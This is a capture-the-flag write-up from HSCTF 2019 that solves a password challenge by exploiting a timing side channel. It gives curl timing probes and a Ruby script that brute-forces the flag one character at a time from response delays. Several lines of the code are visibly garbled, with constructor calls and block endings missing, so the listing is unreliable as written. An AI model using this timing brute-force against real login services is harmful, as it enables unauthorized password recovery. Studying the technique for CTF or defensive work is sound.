Content-Type: text/plain

(Part of a series of writeups from HSCTF 2019.)

The challenge text reads:

Storing passwords on my own server seemed unsafe, so I stored it on a seperate one instead. However, the connection between them is very slow and I have no idea why.

The page is a web interface containing a form with a password input and a button to submit it to the server.

The description hints at a timing attack, so let's test some timings.

$ time curl $HOST --data 'password=a'      # 0.554 s
$ time curl $HOST --data 'password=hs'     # 1.647 s
$ time curl $HOST --data 'password=hsctf{' # 3.647 s

It appears that the more characters in the password that are correct, the longer the request takes.

Let's build a bruteforcer that will try each possible character in the search space and at each iteration accept the request that takes the longest.

A timer function is necessary. Here's one that accepts a block to time and returns the number of milliseconds.

def timer
    start =
    return (( - start) * 1000).to_i

The next function try receives a possible password and returns how long the server took to respond. Most of the function is spent on Ruby's low-level Net::HTTP namespace.

def try(password)
    uri = URI.parse(HOST)
    http =, uri.port)
    http.use_ssl = true
    headers = { 'Content-Type': 'application/x-www-form-urlencoded' }
    req =, headers)
    req.body = "password=#{password}"

    timer do
        http.request req

Define the search space and starting flag.

space = '0123456789_{}abcdefghijklmnopqrstuvwxyz'.split('')
flag = 'hsctf{'

To figure out when the EOF (end of flag) has been reached, the code should loop until the first } is encountered.

Max =, :char) do
    def update(new_delay, new_char)
        if new_delay > delay
            delay = new_delay
            char = new_char

while not flag.end_with?('}')
    max =

    space.each do |char|
        print "Test #{ + char.yellow.bold}"
        delay = try(flag + char)
        puts " => #{delay}ms"
        max.update(delay, char)

    flag += max.char
    puts "\nCurr #{flag}\n"

puts 'Final ' + flag

After running this for a long time the (thankfully) short flag is emitted.


Here's a timelapse of the whole process.